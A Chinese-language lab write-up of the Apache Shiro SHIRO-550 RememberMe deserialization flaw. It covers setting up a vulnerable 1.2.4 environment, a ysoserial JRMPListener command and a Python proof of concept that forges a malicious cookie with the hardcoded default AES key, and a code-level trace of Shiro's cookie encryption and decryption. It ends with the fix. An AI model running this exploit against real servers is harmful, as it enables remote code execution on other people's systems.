漏洞简介
https://issues.apache.org/jira/browse/SHIRO-550
在shirt <= 1.2.24版本中,如果用户选择了Remember Me,那么shiro就会进行如下操作
获取Remember Me cookie值
Base64解码
AES解码
反序列化
而我们知道Remember cookie的生成方式是
序列化
AES加密
Base64加密
生成Remember Me cookie值
因为AES是对称密码,密钥可用于加密和解密而密钥是硬编码在文件中的,所以就可导致利用密钥将一个恶意对象序列化后加密。选择Remember Me后解密并反序列化时就会触发恶意代码
环境搭建
首先下载存在漏洞版本的shiro
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
然后修改pom.xml,在里面添加
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
然后将整个shiro文件导入Idea后通过mvn导入依赖包,接着配置tomcat
我这里使用的是jdk7+tomcat7,这里要配置一下Artifact
然后就可以运行了
漏洞复现
首先我们检测一下搭建的环境是否存在该漏洞,这里使用检查工具探测
发现漏洞确实存在,那就触发一下试试
接着使用手动复现一下
首先需要在vps上有一个rmi注册服务,执行
ysoserial % java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'curl 127.0.0.1:2345'
然后使用如下poc生成Remember Me Cookie
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
然后burpsuite抓包把Remember Me Cookie带入
漏洞分析
加密cookie流程分析
当我们成功登陆时如果选择了Remember Me,那么就会进入到AbstractRememberMeManager#onSuccessfulLogin
接着进入AbstractRememberMeManager#rememberIdentity
这里创建了一个principals对象,跟进rememberIdentity方法
跟进convertPrincipalsToBytes方法
这里将principals对象进行了序列化然后使用encrypt方法加密,也就是AES加密,这里跟进一下
这里的getCipherService方法作用是获取密码服务,这里的cipherService是AesCipherService
接下来的ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
作用就是加密serialized了,这里的getEncryptionCipherKey
作用是获取密钥,来看一下是怎么获取密钥的。
这里的encryptionCipherKey
哪来的呢
发现在构造方法中有一个setCipherKey
这里的DEFAULT_CIPHER_KEY_BYTES
就是硬编码在文件里的密钥
跟进setCipherKey
跟进setEncryptionCipherKey
这里就将密钥赋值给了encryptionCipherKey
,所以回到上面的getEncryptionCipherKey
方法就得到了密钥
接着继续跟进encrypt
方法
这里的iv值由generateInitializationVector
方法得到,返回一个类型为Bytes,长度为16的数组
接着调用encrypt
的重载方法
这里使用了crypt方法对plaintext进行了加密,得到encrypted
接着新建了一个byte型的数组,长度为iv的长度加上encrypted的长度
然后调用arraycopy方法得到了新的密文output
Java.lang.System.arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
概念 : 将源数组中从指定位置开始的数据复制到目标数组的指定位置 .
src : 源数组
srcPos : 源数组要复制的起始位置
dest : 目的数组
destPos : 目的数组放置的起始位置
length : 复制的长度
回到rememberIdentity,跟进rememberSerializedIdentity方法
这里就将AES加密后的bytes进行了base64加密,最后通过response返回设置为用户的Cookie的rememberMe字段中
解密cookie流程分析
首先到达getRememberPrincipals方法处
跟进getRememberedSerializedIdentity方法
RememberMe Cookie从这里获得赋值给base64
接着调用了Base64#decode
跟进decode方法
通过toBytes方法转换成字节码的形式,再通过decode方法进行base64解码
接着进入convertBytesToPrincipals方法
跟进decrypt方法
这里的getCipherService和getDecryptionCipherKey和加密时是一样的值,具体的解密方法在decrypt里,跟进
看上去和加密也差不多,得到了一个iv,将ciphertext值通过arraycopy放入新数组encrypted里,将iv, key,encrypt代入decrypt的重载方法
最后通过crypt方法实现AES解密返回解密后的值decrypted
回到convertBytesToPrincipals方法,跟进deserialize方法
在这里触发反序列化执行命令
修复方式
将之前的固定Key改为随机生成Key